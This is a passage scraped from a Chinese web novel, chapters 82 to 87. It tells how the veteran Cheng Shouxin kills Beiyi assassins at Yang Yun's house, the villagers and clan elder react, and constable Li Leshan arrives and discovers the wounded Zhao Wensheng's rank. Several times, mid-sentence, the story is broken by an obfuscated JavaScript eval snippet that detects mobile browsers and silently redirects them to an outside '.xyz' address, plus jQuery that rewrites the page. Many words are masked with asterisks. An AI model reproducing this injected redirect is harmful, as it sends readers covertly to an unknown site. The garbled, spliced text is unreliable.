这时，程守信放下手中的弓箭，把腰间长刀拔 出 来。 杨云看到程守信准备出去跟杀手拼命，连忙挡在他的身前，摇着头说： “程叔，咱们现下占据优势，没必要跟他们拼命。” 说到这里，杨云顿一下，咬着牙说：“让他烧！我看谁能耗得过谁！” 左右只是一间房子，根本不能与程守信的性命相提并论。 没想到程守信却摇头，嘴角微微扬起，冲着杨云说： “我先谢谢你，但咱们确实耗不过他们。” 看杨云不解的眼神，程守信有条有理地分析， “咱们在堂屋中看似占据优势，其实主动权在那些杀手手里，他们随时都能撤走，到时候再想追来不及了。” 杨云的眼睛微微眯起，想起程守信射出的那一箭，忍不住问道： “你不射第一个进来的杀手，反而射第二个，是怕他们跑？” 在杀手老 二被钉板扎到脚的时候，程守信已经发现杀手来了。 当时老 二双脚被扎穿，行动十分不便，只要放箭，他必死无疑，可程守信没有出手。 程守信点点头说： “没错，如果我那时候射死老 二，剩下两人不知道我们的虚实，肯定会撤走，另寻机会。” “那样我们被动了，不仅暴露行踪，还得日夜防备他们的偷袭。” 只有千日做贼，没有千日防贼。 要是让杀手老大和老 二跑掉，他们肯定会想出更多的阴招来对付杨云三人。 现下老 二老三一死一伤，杀手老大就算想跑也不能跑。 想明白这一点后，杨云皱眉对程守信说： “那也没必要跟他出去拼命，说不定他一会儿沉不住气了。” 程守信看一眼外面，西屋已经有淡淡的烟冒出，他轻轻叹一声说： “如果西屋着火，肯定会烧到堂屋，那个杀手能带着受伤的杀手离开。” “村里的人见到房子起火，肯定会赶来相救。若杀手用他们的性命要挟，我们还是要出去。” 杨云和赵文盛愣住，他们两个没想到，程守信竟考虑得这么周全。 “放心，我虽然老了，但一个北夷狼崽子还是对付得了的。” 程守信拍拍杨云的肩膀，毫不犹豫地打开堂屋大门，冲着东屋背后的杀手老大喊道： “藏头露尾的北夷鼠辈，敢和你爷爷正面交手吗？” 第82章 斗杀 第八十二章斗杀 程守信伫立在堂屋门前，清冷的月光洒在他脸上，泛出一股摄人心魄的寒意。 躲在东屋墙后的**老大没有露头，反而是躺在地上的老二趁机看清堂屋的情形，“老大，他们只有两个人！有一个连刀都不会握！” 经常用刀的人，和杨云这种第一次用刀的新人，在行家眼中有着天壤之别。 杨云没想到**老二这么敏锐，他转头看床上的赵文盛，示意他不要乱动，他提着刀从屋里走出来，站在程守信的身后。 第一次握刀又如何，只凭心中一腔血勇，照样能斩下北夷人的狗头！ **老大听到老二的情报，眼睛转几转，轻声问道：“你确定他们没有埋伏？” 如果刚才那个箭手还在屋中，他这时候出去跟找死没有区别。 老二强撑着坐起来，看到程守信放在椅子上的弓，用力地点头说：“没有，只有他们两个。” **老大轻手轻脚地挪到墙边，飞快探头看一眼，确定程守信和杨云的位置，紧接着一个翻滚来到院中，正好让程守信挡在身前。 这样一来，屋中就算有箭手，那也得先把程守信射死才能射到他。 见到最后一个**终于出来，程守信手中长刀微侧，清冷的光芒从刀身滑过。 他看着高鼻褐目的**，嘴角泛起一丝淡淡的笑容，“果然是北夷狼崽子。没想到十三年后，老天还给我一个再立新功的机会。” “北夷狗贼，上前领死！” 程守信这么嚣张，北夷**反而更加谨慎，脚磨着地，慢慢向前。 在离程守信还有五步的时候，北夷**眼中爆出一阵精光，大喝一声，冲过来！ 程守信却似早预料到**的举动，手中长刀提起，挡住北夷**劈来的刀。 一刀未曾奏效，北夷**立刻抽刀侧砍，锋锐的刀刃直奔程守信的大腿。 程守信不退反进，撞在北夷**怀中，手中长刀顺手下劈。 **没想到程守信只攻不守，胸前被划出一道一尺多长的伤口！ “大盛人，你在找死！” 感觉到胸前传来的疼痛，**脸上泛起怒色，提着刀跟程守信战在一起。 杨云站一边看着两人你来我往，有心帮忙，但又不敢加入战团，只能干着急。 墙边的老二见到老大和程守信不分胜负，在所有人没注意的情况下，缓缓坐直身子，手慢慢摸到后腰的飞刀之上。 只听叮的一声响，程守信和**各自向后退两步。 程守信看着胳膊上的伤口，脸上泛起一抹自嘲的笑容， “果然是老了，要换成十三年前的我，你小子已经**。” 北夷**没有说话，但看向程守信的眼神中满是戒备。 两人休息几个呼吸，北夷**暴喝一声再次冲过来，但谁都没注意，在**老大暴喝的时候，靠在墙边的老二突然出手，扔出一把飞刀！ 程守信和杨云的精力全在**老大身上，根本没注意到老二飞刀伤人。 只听噗的一声，飞刀扎在程守信的左腿上，与此同时**老大的刀也劈过来！ 被暗算的程守信眼中泛起暴怒，口中大喊一声，奋起全身力气也向**老大劈去。 铛！ 一声脆响过后，**老大的刀被程守信一刀砍断，崩出缺口的长刀，越过断刀，狠狠劈在**老大的脖子上，半个脖颈都砍断！ 鲜血喷涌而出！ **老大眼中带着惊疑，愤怒之色，无力的右手拿着断刀颤颤巍巍地往前伸，似临死都要再砍程守信一刀。 只可惜，他身上的力气随着喷涌而出的鲜血尽数消失，只能无力地仰面摔倒在地。 程守信松开断刀，踉踉跄跄地向后退去，一直站在后面的杨云连忙上前扶住他，“程叔，你不要紧吧？” 满头冷汗的程守信摇摇头，看向坐在墙边的**老二，不屑地说：“这么多年，你们这些狼崽子一点长进都没有，还是只会暗箭伤人。” 杨云听到程守信的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨云连忙拿起脸盆舀一盆水，匆匆忙忙跑进西屋。 幸运的是，**老大扔的火把掉在房间正中间，四周没有任何能烧的东西，杨云一盆水把火苗浇灭。 将冒着青烟的火把拿出来，杨云刚准备跟程守信说话，外面传来一阵拍门声！ 第83章 村民惊惧 第八十三章村民惊惧 剧烈拍门声在寂静的夜里，显得分外响亮，惊魂未定的杨云和程守信对视一眼，都从彼此眼中看到慌张之色！ 如果门外的人是**同伙，他们一弱一伤，绝不是来人的对手！ 在两人皱眉苦思的时候，外面传来邻居杨老实的声音，“杨云，你在家干什么呢？大半夜的不睡觉，叮铃咣啷吵得街坊四邻也睡不着！” 随着杨老实的声音，另外四五个声音传入院中，“是啊，你白天不用干活，我们还要下地的！” “你好歹是个读书人，怎么一点规矩都不懂？” 听到这些声音，杨云和程守信才镇定下来，带头的人是他们的邻居杨老实，剩下的人在村里生活一辈子，绝不可能是北夷**的同伙。 程守信的目光从院中的三具尸体上扫过，按着伤口问：“要开门吗？” 门外的人都是青山村的普通村民，他们要是看到院子里的尸体，肯定会引起轩然大波。 杨云的眼睛转转，冷静地点头说：“开吧。这件事瞒不住人，不如光明正大地放在台面上，以示咱们问心无愧。” 这三具尸体不能一直堆在杨云家里，迟早要处理，与其被村里人发现，不如杨云主动坦诚，不至于让村里人误会。 程守信无所谓地点点头，反正他在边境杀的人已经够多，不在乎手上多添几条人命。 两人稍微商议一下，杨云走到门前，整整衣冠，打开院门，笑呵呵地拱手说：“各位高邻不好意思，刚才我家里来几个不速之客，处理他们的时候动静大一点。” 站在门口的杨老实听到杨云的话，手中的灯笼高高举起，左右张望着问： “什么不速之客？是不是有小偷？竟偷到咱们村来了，简直是胆大包天！” 跟在后面的邻居也纷纷叫嚷起来，“敢偷咱们村？我看那个偷儿是活腻了！” “杨云，你抓到人没有？要是没有的话，我们帮你一起抓！绝不能让他跑掉！” “抓住他们狠狠收拾他们一顿，让他们知道咱们青山村的厉害！” 看着邻居们义愤填膺的样子，杨云嘴角泛起淡淡的笑容，侧身将院门让开， “人，我是抓住了，你们要进来看的话，那随便看吧。” 坐在堂屋门口的程守信眼中闪过一丝促狭，杨云明摆着是要吓杨老实他们一跳。 见到杨云让开门口，杨老实等人全都走进来。 刚走到院中，杨老实就感觉脚下被什么东西绊一下，他拿着灯笼去照，却见地上躺着一个人，身下满是鲜血，脖子上卡着一把刀，一双眼睛大睁，显然是死不瞑目！ “**……**了！” 杨老实看清楚地上的人后，吓得退到西屋的墙上，嘴里大声尖叫。 剩下的几人没看到尸体，但听到杨老实的话，立刻退出去，嘴里也大声地喊着， “**了，杨云**了！” 院子里的杨云翻个白眼，他是想杀，但没有那个本事。 看看一直尖叫的杨老实，杨云走过去轻轻拍着他的肩膀，淡淡地说：“大叔，这几个人不是我杀的，是那边那个人杀的。” 杨老实顺着杨云指的方向，果然见到门口坐着一个人，吓得两腿发软，颤颤巍巍地说： “这位大爷，我是个种地的，您放我一马吧。” 程守信连忙冲杨老实摆摆手，脸上泛起一丝温和的笑容，轻声对他说：“杨老实，我是你们家对门的程守信，用不着跟我这么客气。” 笑容温和的程守信，完全看不出刚才凶霸，狠厉的样子，好像真是一个庄稼汉。 杨老实提着灯笼走到堂屋门口，借着微弱的光芒看清程守信的面容后，惊讶地问： “老程？三更半夜你怎么会在杨云……呀，你身上这是怎么了？” 程守信的身上满是**老大的血，仿佛从尸山血海中刚爬出来的恶鬼，看起来狰狞可怕。 杨云站在一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470522|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，轻声给杨老实解释说：“今天晚上有几个图谋不轨的人闯到我家，程叔和我联手把他们几个杀了。” 之所以说两人联手，不是杨云想要抢程守信的功劳，而是想帮他分担一些压力。 毕竟**不是什么好事，就算是啥坏人，村里也会有流言蜚语，两个人一起承担，总比一个人扛着要轻松点。 听到人是杨云和程守信杀的，杨老实吓得接连退后几步，看着两人颤颤巍巍地说： “那个……你们继续，我先回去了。没事，闹出多大动静都行。” 看着杨老实准备走，杨云笑着拉住他的胳膊，轻声说： “大叔，有劳你去把族老请过来，这件事得向他老人家汇报才行。” 面对着刚**儿杨云，杨老实自然不敢拒绝，连滚带爬地跑出杨家。 等到杨老实离开，杨云蹲在程守信身侧，看着他腿上的飞刀说： “程叔，你这把刀要拔出来吗？我家里正好有金创药，敷上就行。” 程守信在沙场征战多年，知道这种伤乱拔很可能会大出血，一直没有处理。 现下听得到杨云有金创药，不再迟疑，找几块布条系在飞刀上面，过片刻后，他冲着已经准备好白布，金创药的杨云点头， “拔！” 杨云深吸一口气，抓住飞刀刀柄使劲往外一拔，鲜血立刻喷出来，但很快变小，只是顺着伤口慢慢外流。 他顾不得擦脸颊上的血点，顶着浓重的血腥味，把金创药倒在程守信的伤口上，又用白布把伤口包好。 程守信疼得出一身冷汗，但从始至终一点声音都没有发出。 包扎好伤口后，杨云扶起程守信慢慢向屋里走去。 只是还没等程守信坐下，病床上的赵文盛看过来，“追杀我的人都解决了？” 杨云扶着程守信在屋里的椅子上坐下，擦擦额头上的汗说：“解决了，我已经让村民去找族老，等着天明之后，让县衙来人处理。” 第84章 报官 第八十四章报官 不管怎么说，青山村是发生人命大案，就算杨云三人占理，也得上报官府才行。 因为身体虚弱，赵文盛根本不能下地，刚才外面又是刀兵响动，又是村民叫喊，他也搞不清楚究竟发生什么事。 听到**都被解决，赵文盛不由得长长出一口气，只觉得浑身轻松许多。 他面色微微一变，对刚坐下的程守信说： “你们不能在这里，得换个房间！” 程守信听到赵文盛的话，两道粗眉不由得紧紧皱起来，目光不善地看着他说： “我刚为你杀三个人，你要翻脸不认人，甚至连坐都不让我坐？” 在决定帮忙之前，程守信已看出来，赵文盛的身份不一般，很可能是巨商大贾的后人，或者是权贵子弟，不然不可能开口是五千两银子。 程守信也知道，有很多挥金如土的富家子弟，都看不起庄稼汉。 但他没有想到，之前还能以军规谢他的赵文盛，杀完人之后开始玩贫富贵贱那一套！ 床上的赵文盛看到怒意勃发的程守信，还有神色不悦的杨云，苦笑着解释说： “我不是翻脸不认人，而是你要在这里休息，青山村的族老必然会进来询问。” “到时他会发现屋里还有一个人，但我的身份，被你们村里的人知道，不是什么好事。” 听到赵文盛的解释，两人的神色稍微缓和一点，杨云歪头看着他问： “你身后的**不是都**吗？难道这样你都不能吐露身份？” 原本杨云以为赵文盛是因为**，才不想暴露身份，现下看来，原因比他想得还要复杂。 赵文盛十分勉强地摇摇头，真诚地看着杨云和程守信说：“两位，我对你们的救命之恩甚为感激，绝对不会害你们，请二位相信我。” 杨云和程守信对视一眼，最终无奈地叹气， “既然你都这么说，我们也只能相信你。一会族老来了，我也会为你遮掩的。” 听到杨云和程守信最终相信他，赵文盛冲着两人点点头，“对不住两位，多谢两位。” 杨云扶着程守信，一瘸一拐地来到西屋，他将堂屋的门关上，回去倒两碗水，和程守信一边喝，一边等着族老过来。 只是族老还没来，胖婶和姜梅先来。 她们两个睡得正熟，听到有**喊**，吓得瑟瑟发抖，又听到是杨云**，姜梅立刻起身要回来看看，胖婶拗不过她，只能跟着一起过来。 “妈呀，真**了！” 胖婶提着灯笼站在门口看一眼，果然发现院子里躺着一个人，一动不动。 “云儿！” 姜梅的心里微微一颤，以为死掉这个人是杨云，立刻跑过去，靠近一看才发现，这人根本不是儿子。 西屋里的杨云听到母亲的喊声，立刻起身走出来，看着姜梅不解地问道： “娘，你怎么回来了？不是嘱咐过你，今晚不管发生什么，都不要回来吗？” 之前把姜梅支去胖婶家住，是怕牵连到她，没想到姜梅还是回来。 看到儿子出现在面前，姜梅连忙走上前去，泪眼婆娑地问道：“云儿，你脸上怎么这么多血？哪里受伤了？娘给你包扎。” 杨云用手在脸上抹一把，笑呵呵地安慰姜梅， “这不是我的血，是程叔的血。他受伤了，我给他治伤的时候不小心沾上的。” 姜梅如释重负地点点头，她身后却传来一声大叫，“老程受伤了？老程，老程你在哪？” 见到胖婶提着灯笼往堂屋闯，杨云连忙拉住她，将她引到西屋。 胖婶进到屋里，一眼看到满身血污的程守信，立刻扑上去，嚎啕大哭， “老程，你伤到哪里？老程你要不要紧？你个杀千刀的，没了你，我怎么活啊？” 嘴上虽然在骂，但藏在话语中的关心，确实想藏都藏不住的。 被婆娘当着外人这么说，程守信幸福又尴尬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470523|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后咳一声说：“别哭了！我是腿上受轻伤，养几天会好的！” 胖婶哭着看着程守信的伤口，确定真的没有大事，才在姜梅的安慰下才渐渐止住哭声。 折腾半夜，终于能歇会，杨云不由得摸摸肚子， “娘，我有点饿，你给我和程叔下碗面吧，每人卧两个鸡蛋。” 姜梅对儿子的要求自然无有不应，程守信也让胖婶去帮忙，省得一直哭个不停。 两人吃完面，又等到天色破晓，族老才领着一堆人浩浩荡荡地过来。 看着躺在院中的尸首，族老杨四德的脸色难看到极点，他站在院中，厉声喝道：“杨云，程守信，你们两个给我出来！” 在西屋已经等得睡着的两人，慢慢悠悠地搀扶着出来，杨云还拿一把椅子，放在院中让腿上有伤的程守信坐下。 族老看到杨云拿着椅子出来，还觉得这小子挺懂礼数，但看到杨云让程守信坐下，族老的鼻子都要气歪。 他冷冷地扫两人一眼，毫不客气地问：“为什么要杀这人？” 杨四德对程守信和杨云都有所了解，这两个人一个老实厚道，一个聪明懂事，怎么看都不是会**的主。 若不是有这点了解，他也不敢当面质问两人。 看着杨四德指着院中的**老大，杨云向着他的背后指指，风轻云淡地补充道：“族老，不是一个，是三个。您看，那边还有俩。” 顺着杨云指的方向，跟着族老来的人果然发现墙边还有两具尸体！ 两具尸体全都被羽箭钉在墙上，脚下的血流一地，看起来十分可怕。 跟着杨四德来的村民哪见过这种场面，立刻炸锅，拼命要从杨云家挤出去，生怕跑得慢，死的是他们。 杨四德也没想到，昨夜死的不是一个而是三个，但他当族老这么多年，好歹见过些风浪，当即退后两步，强作镇定地说： “不管你们两个是因为什么**，死这么多人，村里一定要报官！” 第85章 意外的招揽 第八十五章意外的招揽 杨四德平时在村里确实很有威望，但人命关天，一下死三个人，他这个族老也压不住。 村里人多眼杂，就算杨四德不报官，其他眼红杨云家的人，肯定也会到处乱说。 杨云对报官没什么意见，沉吟片刻之后说：“族老，您报官是应该的，我找您来是想告诉您，我们是被迫还手，不是主动**。” 杨四德的眼神缓和许多，掏出手帕捂着口鼻问道：“这三个是什么人？你说你被迫还手，有什么证据可以证明？” 主动**和被迫反击有很大区别。 如果是前者，杨云以后别想着在村里住，毕竟谁也不想跟一个**狂比邻而居。 若是后者，证明杨云动手只是出于无奈，他还能在村里住下去，甚至不被太多人鄙夷。 杨云走到杨四德身边，原本站在他身后的人，立刻向后退两步。 看到他们惊慌害怕的眼神，杨云的眼睛转一下，指着墙边的尸体，大声说：“族老请看，那两个人为什么死在墙边？因为他们是翻墙进来的！” “深更半夜，手持利刃翻入别人院中，这些人肯定心怀歹意，我不得已才杀他们。” 坐在椅子上的程守信忽然开口，瓮声瓮气地对族老说：“族老，这三个人其实都是我杀的，杨云只是站在一边看着，没有动过手。” “若官府要缉拿凶手，您老尽管把我交出去。” 程守信看出杨云是想独自扛下**的罪名，但他是天鹰卫，心中自有傲气，怎么可能让别人为他做的事担责？ 再说，杨云今年刚十八岁，正在读书准备科举，如果真跟**案扯上关系，他的前途完了，没有哪个读书人愿意跟**犯扯上关系。 于公于私，程守信都不能让杨云牵扯到这件事中。 杨云看着一脸平静的程守信，目光闪动几下，最终什么都没有说。 不是他不讲义气，只是村里人知道他是个读书人，程守信射出的箭能穿人而过，钉在墙上，他根本没有那么大的力气。 杨四德看看死在墙边的两个**，轻轻点点头，挥手把自家的下人叫过来，让他骑驴去县城，把捕头李乐山请过来。 李乐山和杨云的关系不错，之前杨元贞故意阻挠杨云盖房子的时候，李乐山还为他出头。 这次要是李乐山来，看在往日的情分上，对杨云应该也会手下留情。 下人飞奔着离开，杨四德看着杨云接着问道： “你们杀的这三个人，知道是什么身份吗？是不是咱们附近村里的人？” 如果是附近村里的人，杨四德还得想想怎么安抚那个村子里的人，毕竟死三个男人，他们家族不可能会善罢甘休。 看着族老愁眉不展的样子，杨云很快猜到他在担心什么，笑眯眯地轻声说： “族老，您不用担心，这三个人不是咱们东平县的人，是从外面跑过来的。” 这三个岂止不是东平县人，甚至是不是大盛人。 杨四德的眼睛蓦然一亮，不是附近村的人，也不用担心上门寻仇。 他上下打量杨云一番，觉得这孩子长得俊秀，脑子又好，可惜跟**案扯上关系，以后怕是不会有什么大作为。 想到这里，杨四德心中一动，转头冲着院里的村民们，厉声训斥道： “都出去！要是把**的证据踩坏，官差得把你们一个个抓回去审问！” “到时候没个三五十两，你们别想从牢里出来！” 开头几句村民还无所谓，听到后面要花钱，脸色立刻大变，乖乖地站到门外看热闹。 等到村民们基本出大门，杨四德才低声问道：“杨云，你干脆不要念书，回到村里，跟着你宪叔一起处理族里的事如何？” 杨玉宪是杨四德的大儿子，日后杨四德退下来，族老的位置大概率要传到杨玉宪手中。 杨云的眼睛稍微一转，明白杨四德的意思。 在族老看来，杨云跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478734|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **案扯上关系，前途尽毁，不如干脆放弃科举，回来当杨玉宪的帮手，这样等杨玉宪坐上族老，他在村里的地位也不会低。 想到这里，杨云微微一笑，他确实跟**案有关系，但不至于前途尽毁。 只要知县能秉公判理这桩案子，他不会受到任何影响。 看着满脸期待之色的杨四德，杨云冲着他拱拱手，十分客气地说： “多谢族老厚爱，但我还是想试试，能不能考上功名。” 听到杨云拒绝，杨四德没有任何不悦之色，他知道，年轻人心里总有股不服输的劲，等到撞的头破血流，才知道回头。 杨四德笑呵呵地捋着胡子说： “好，这个是应当的。你要是有一天考不上，随时可以来找族老，我的话永远有效。” 杨云这小子机灵过人，如果有他当杨玉宪的帮手，村子日后一定会更上一层楼。 姜梅见到族老一直站着，连忙把西屋剩下的一把椅子搬出来，请族老坐下，小声地对族老说： “族老，等一会儿捕头来了，您要多多为云儿和老程求求情。” 胖婶先是被院里的尸体吓一跳，后来又被程守信的伤吓到，人懵了。 这时听到姜梅的话，她才如梦方醒，抹着眼泪说： “族老，您一定要为老程求求情啊！你知道，他这个人平时很老实的，连跟别人吵架都不会。” 杨四德看着不停哭嚎的胖婶，连连摆手说： “你放心，守信和杨云都是咱们青山村的人，我当然会为他们求情的。” 胖婶和姜梅千恩万谢，杨云和程守信都是家里的顶梁柱，要是他们两个被抓走，剩下两户妇道人家，真一点活路都没有了。 相比之下，杨云和程守信却一点都不慌，这案子他们本身占理，就算知县真的一时糊涂要抓他们，赵文盛也不会袖手旁观的。 快到中午的时候，远处传来一阵急匆匆的跑步声，李捕头带着衙役来了。 第86章 猜到 第八十六章猜到 杨云家死三个人的事，已经传遍青山村，他们家门口里三层外三层围的都是人，甚至有人挤不到前面，爬到树上去看。 “让开，全都让开，捕头来了！” 走在前面的衙役用刀鞘敲着堵路的村民，口中大声地嚷嚷道。 四周的村民散开，李乐山走到杨家门口，深吸一口气，面无表情地跨进院门。 院子正中横着一具尸体，脖子上卡着一把长刀，鲜血喷得到处都是。 李乐山和衙役们见识过铁笔街的灭门**，面前的场景虽然惨烈，但也没让他们吐出来。 杨云正对着门口，见到李乐山进来，不方便跟他打招呼，只能微微点头。 族老早听到外面吵吵嚷嚷的，猜到是李乐山来了，连忙起身行礼，“青山村族老杨四德，见过李捕头。” 看着老头，李乐山立刻想起他上次在杨云家跟他喝过酒，客气地拱拱手，“杨族老，不必多礼。你派人报案说有三个人**，到底是怎么回事？可知凶手是谁？” 杨四德扭头看一眼杨云和程守信，没有丝毫犹豫说： “李捕头，人是我们村杨云和程守信杀的，是他们主动通知我，让我报官的。” “他们两个虽然**，但也是事出有因。这三人深夜翻墙进入杨家，分明是图谋不轨，杨云和程守信被迫出手，实属无奈。” “还请捕头看在他们两个主动报官的份上，能从轻发落。” 再怎么说，杨云和程守信都是青山村的人，杨四德自然要尽量想办法帮他们。 姜梅和胖婶冲着杨四德递一个感激的眼神，算是领下这份人情。 听到杨云竟跟**案扯上关系，李乐山的眼中闪过一丝惋惜，这小子聪明又用功，连知县都夸奖过他，没想到竟第二次牵扯到命案当中。 轻轻叹气后，李乐山看着他们两个，公事公办地问道：“你们两个，姓甚名谁，为何要杀掉这三人？” 这是捕快审问的必要问题，不仅能验明正身，还能让引导犯人配合。 坐在椅子上的程守信颤巍巍地起身，冲着李乐山拱拱手说： “小人程守信，青山村人氏，昨夜与杨小兄弟把酒言欢，未曾想这三个贼子趁夜潜入杨家，小人迫不得已才杀他们。” 杨云的回答是大同小异。 这是他们昨夜和赵文盛商量好的说辞，毕竟东平县出现北夷人，传出去后不知道会引起什么慌乱。 李乐山对两人的招供不置可否，转身去查看院中的那一具尸体。 他看着**的那把长刀，眉头微皱，从这把刀的形制来看，这是边军惯用的雁翎刀。 若不是立下大功，军中将领绝不会允许手下兵卒，把这把刀带回家乡。 “这把刀是你的？” 李乐山转头看看程守信，指着刀问道。 程守信不假思索地点头，**的罪名都认了，承认刀是他的也无所谓。 没想到李乐山竟冲着他拱拱手，道一声失敬，接着检查尸体。 只是看到尸体的面容，李乐山的眉头皱得更紧，从相貌来看，死掉的这人根本不是大盛人，而是一个北夷人！ 他略微想一下，伸手抓起尸体的胳膊，撸起袖子，发现一个飞鹰刺青！ “果然如此！” 李乐山小声地嘟囔，又去墙边看被箭射死的两个人，也发现一模一样的刺青。 他蹲在身体旁边思索片刻，招手把衙役陈信叫过来，轻声吩咐， “把杨家周围的村民都赶走，那些树上的都不要漏过。” “若有人留在这里徘徊，一律以窥探官府机密为由，吊在树上示众！” 陈信不知道李乐山为什么突然下这么严厉的命令，但他没有丝毫犹豫，带着衙役开始驱赶村民， “看什么看？该干什么干什么去！这是衙门在调查命案，小心把你们当同伙抓起来！” 这几句话很有用，原本围成一团的村民立刻四散，树上的人也屁滚尿流地爬下来。 等四周的闲杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李乐山疑惑地看着杨云，不知道这小子又想搞什么鬼，沉吟半晌后才挥挥手让他去。 杨云给程守信使个眼色，示意他拖住李乐山，他跑回堂屋。 床上的赵文盛早已被外面的嘈杂动静吵醒，杨云冲着赵文盛拱拱手说： “赵兄，你恐怕藏不住了。” 第87章 知县来了 第八十七章知县来了 如果杨云和程守信继续说谎，李乐山一定会让衙役搜查整个杨家。 不管三个北夷人要的是东西还是别的，都必须查出来才行。 只要有人进堂屋，马上会发现赵文盛，以李乐山的经验，再加上赵文盛腹部的伤口，定然能想到北夷人是冲着他来的。 赵文盛躺在床上沉思片刻，忽然问：“来的人只是个捕头？” 杨云不知道赵文盛忽然问这个干什么，但还是点点头说： “没错，李大哥为人不错，人品也靠得住，应该不会出什么纰漏。” 赵文盛最怕别人泄露他的行踪，李乐山是个嘴很紧的人，就算知道这件事也不会乱说。 听到杨云为李乐山做担保，赵文盛翻个身，冲着他说： “那请他一个人进来吧，我有些话要问他。” 杨云如释重负地叹一口气，站在门口冲着李乐山招手，满脸笑容地对他说：“李大哥，你不是想知道真相吗？来堂屋，我告诉你。” 李乐山知道杨云不会害他，毫无戒心地走进堂屋，一眼看到桌上的两碗白水。 他嘴角泛起一丝嘲笑，果然杨云和程守信说得把酒言欢，是在蒙他！ 杨云看看桌上的白水，知道他的谎话穿帮，尴尬地拍拍李乐山，向床的方向一指， “李大哥，你要的原因在那。” 但看到床上的赵文盛后，李乐山的目光从茫然变成疑惑，又变成惊恐，结结巴巴地说： “你……你……” 床上的赵文盛眉头微皱，看着李乐山的样子，忽然想到什么，冲着杨云说： “杨兄弟，请你先出去一下，我和这位李捕头有些话要单独说。” 杨云的眉毛一挑，眼神在李乐山、赵文盛身上转转，不知道初次见面的两人有什么好说的。 但好人做到底，他带着满腹疑惑走出堂屋，顺手还把房门关上。 等到房门砰的一声关上，刚才在院子里威风八面的李乐山，扑通一声跪倒在地， “东平县衙捕头李乐山拜见……” “嘘！” 赵文盛眼睛陡然睁大，打断李乐山的话， “我的身份杨云和程守信都不知道，你也不要到处乱说，在他们面前叫我赵老板就行。” 李乐山不知道赵文盛在搞什么鬼，但既然他这么说，他照办即可。 但李乐山又想起一个人，小心翼翼地问： “赵老板，我们知县大人也在找您，用不用把您在这的消息告诉他？” 赵文盛的真正身份，李乐山还是从知县石任远那里知道的。 现下人找到，要是不告诉知县，有点过河拆桥的意思。 赵文盛的眉头微皱，闭着眼睛想一会，开口问：“你们东平县的知县叫什么名字？是哪里人氏？” 李乐山平时没留意过这些，现下赵文盛问起，他拼命想一会才想到，“我们知县叫石任远，石头的石，任职的任，远方的远，他家是……是江州文山府的。” 床上的赵文盛听完李乐山的描述，手指轻轻在棉被上点几下，忽然问： “你们家知县是不是中平三十五年中的进士，六年前来东平任的知县？” 李乐山眼中闪过一丝茫然，老老实实地回道： “我不知道我们知县是什么时候中的进士，但他确实是六年前来我们这里做的知县。” 六年前，李乐山还是一个小捕快，是石任远赏识，他才升到捕头。 赵文盛的嘴角泛起一抹笑容，在心中暗暗想着，石任远不是老六，也不是老八的人，官声清廉，应该可以靠得住。 毕竟他一直窝在这里养伤也不是办法，必须尽快赶回京城，不然迟则生变。 想到这里，赵文盛转头看着仍旧跪在地上的李乐山，口气轻柔地说：“你起来吧！你们县衙应该有跟京城联系的飞鸽吧？” 李乐山不知道赵文盛突然问这个干什么，规规矩矩地点头说： “有，一共十二只，石知县每个月都要查视一遍，生怕鸽子病了，饿了……” 飞鸽传书是大盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478736|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝各地衙门，用来给京城传递紧急消息的渠道，东平县衙自然也有。 但这些鸽子平时不会轻易动用，得有重大情况才能破例。 李乐山想不明白赵文盛的用意，干脆使劲给石知县说好话。 赵文盛没空听李乐山这些废话，轻轻咳一声打断他后，中气不足地说： “你以此案太过复杂为由，回县衙把石任远叫来，来的时候带一只飞鸽。” 